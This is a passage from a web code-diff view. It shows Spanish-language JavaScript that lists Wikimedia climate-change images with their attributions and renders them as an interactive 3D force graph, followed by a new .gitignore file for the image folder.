descripcion: "Mapa del supercontinente Pangea, relevante para entender la historia climática de la Tierra a escala geológica.",
|
||||
autor: "en:User:Kieff / user:tsca",
|
||||
licencia: "CC BY-SA 3.0",
|
||||
width: 772, height: 869,
|
||||
grupo: "esquema",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_009",
|
||||
archivo: "cambio_climático_009.jpg",
|
||||
img: "/images/wiki/cambio_climático_009.jpg",
|
||||
titulo: "Precesión y estaciones",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Diagrama de la precesión de la Tierra y su efecto sobre las estaciones, factor clave en los ciclos climáticos naturales.",
|
||||
autor: "Wikimedia Commons",
|
||||
licencia: "CC BY-SA 3.0",
|
||||
width: 593, height: 445,
|
||||
grupo: "esquema",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_010",
|
||||
archivo: "cambio_climático_010.png",
|
||||
img: "/images/wiki/cambio_climático_010.png",
|
||||
titulo: "Proyecciones nivel del mar",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Proyecciones del aumento del nivel medio del mar según Parris et al. (2012), traducidas al español.",
|
||||
autor: "Enescot / Hiperfelix",
|
||||
licencia: "CC0",
|
||||
width: 1355, height: 761,
|
||||
grupo: "grafico",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_011",
|
||||
archivo: "cambio_climático_011.jpg",
|
||||
img: "/images/wiki/cambio_climático_011.jpg",
|
||||
titulo: "Palma de aceite en Riau, Sumatra",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Concesión de palma de aceite en Riau, Sumatra (Indonesia). La deforestación tropical es un factor relevante en el cambio climático.",
|
||||
autor: "Hayden / Flickr",
|
||||
licencia: "CC BY 2.0",
|
||||
width: 2048, height: 1365,
|
||||
grupo: "fotografia",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_012",
|
||||
archivo: "cambio_climático_012.png",
|
||||
img: "/images/wiki/cambio_climático_012.png",
|
||||
titulo: "Sistema climático terrestre",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Diagrama del sistema climático terrestre mostrando las interacciones entre atmósfera, hidrosfera, criosfera y biosfera.",
|
||||
autor: "Martín, Rodrigo",
|
||||
licencia: "CC BY-SA 3.0",
|
||||
width: 1164, height: 612,
|
||||
grupo: "esquema",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_013",
|
||||
archivo: "cambio_climático_013.png",
|
||||
img: "/images/wiki/cambio_climático_013.png",
|
||||
titulo: "Ciclos solares e irradiancia",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Los últimos tres ciclos solares medidos en irradiancia solar, manchas solares, actividad de erupciones y flujo de radio.",
|
||||
autor: "Robert A. Rohde",
|
||||
licencia: "CC BY-SA 3.0",
|
||||
width: 700, height: 466,
|
||||
grupo: "grafico",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_014",
|
||||
archivo: "cambio_climático_014.jpg",
|
||||
img: "/images/wiki/cambio_climático_014.jpg",
|
||||
titulo: "Activismo climático juvenil (TedX)",
|
||||
articulo: "Cambio climático e infancia",
|
||||
descripcion: "Aayan Aggarwal durante su charla TedX sobre cambio climático e infancia en el NMIMS de Shirpur.",
|
||||
autor: "Dk4588",
|
||||
licencia: "CC BY-SA 4.0",
|
||||
width: 791, height: 640,
|
||||
grupo: "fotografia",
|
||||
},
|
||||
];
|
||||
|
||||
// ── Conexiones temáticas entre imágenes ─────────────────────────────────────
|
||||
const GRUPO_COLORS = {
|
||||
fotografia: '#ff4500',
|
||||
grafico: '#39ff14',
|
||||
esquema: '#00fff2',
|
||||
satelite: '#cc44ff',
|
||||
};
|
||||
|
||||
// Conectar imágenes del mismo grupo y artículo
|
||||
const links = [];
|
||||
for (let i = 0; i < WIKI_NODES.length; i++) {
|
||||
for (let j = i + 1; j < WIKI_NODES.length; j++) {
|
||||
const a = WIKI_NODES[i], b = WIKI_NODES[j];
|
||||
if (a.articulo === b.articulo) {
|
||||
links.push({ source: a.id, target: b.id, value: a.grupo === b.grupo ? 80 : 40 });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const graphData = { nodes: WIKI_NODES, links };
|
||||
|
||||
// ── Render ───────────────────────────────────────────────────────────────────
|
||||
const elem = document.getElementById('graph');
|
||||
const textureCache = {};
|
||||
const loader = new THREE.TextureLoader();
|
||||
|
||||
function getTexture(url) {
|
||||
if (!textureCache[url]) {
|
||||
const t = loader.load(url);
|
||||
t.colorSpace = THREE.SRGBColorSpace;
|
||||
textureCache[url] = t;
|
||||
}
|
||||
return textureCache[url];
|
||||
}
|
||||
|
||||
const Graph = ForceGraph3D()(elem)
|
||||
.backgroundColor('#000000')
|
||||
.nodeLabel(node => `<div style="font-family:Fira Code,monospace;font-size:11px;color:${GRUPO_COLORS[node.grupo]};background:rgba(0,0,0,0.8);padding:4px 8px;border:1px solid ${GRUPO_COLORS[node.grupo]}33">${node.titulo}</div>`)
|
||||
.nodeColor(node => GRUPO_COLORS[node.grupo] || '#fff')
|
||||
.nodeVal(node => {
|
||||
const area = node.width * node.height;
|
||||
return Math.max(1.5, Math.min(6, area / 500000));
|
||||
})
|
||||
.linkColor(link => {
|
||||
const val = link.value || 40;
|
||||
return val > 60 ? 'rgba(57,255,20,0.4)' : 'rgba(57,255,20,0.15)';
|
||||
})
|
||||
.linkWidth(link => link.value > 60 ? 1.2 : 0.4)
|
||||
.nodeThreeObject(node => {
|
||||
const texture = getTexture(node.img);
|
||||
const material = new THREE.SpriteMaterial({ map: texture, transparent: true });
|
||||
const sprite = new THREE.Sprite(material);
|
||||
// Escalar manteniendo aspect ratio aproximado
|
||||
const ratio = node.width / node.height;
|
||||
const baseSize = 14;
|
||||
sprite.scale.set(baseSize * Math.min(ratio, 1.6), baseSize / Math.max(ratio, 0.6));
|
||||
return sprite;
|
||||
})
|
||||
.onNodeClick(node => {
|
||||
const panel = document.getElementById('detail');
|
||||
document.getElementById('d-img').src = node.img;
|
||||
document.getElementById('d-title').textContent = node.titulo;
|
||||
document.getElementById('d-desc').textContent = node.descripcion;
|
||||
document.getElementById('d-articulo').textContent = node.articulo;
|
||||
document.getElementById('d-licencia').textContent = node.licencia;
|
||||
document.getElementById('d-autor').textContent = node.autor;
|
||||
document.getElementById('d-size').textContent = `${node.width}×${node.height}px`;
|
||||
panel.style.display = 'flex';
|
||||
})
|
||||
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
||||
.graphData(graphData);
|
||||
|
||||
Graph.d3Force('charge').strength(-250);
|
||||
setTimeout(() => Graph.zoomToFit(800, 80), 1500);
|
||||
|
||||
window.addEventListener('resize', () => {
|
||||
Graph.width(elem.clientWidth).height(elem.clientHeight);
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
2
INFO/POCS/VISUALIZACION/public/images/wiki/.gitignore
vendored
Normal file
2
INFO/POCS/VISUALIZACION/public/images/wiki/.gitignore
vendored
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
*
|
||||
!.gitignore
|
||||
Loading…
Add table
Add a link
Reference in a new issue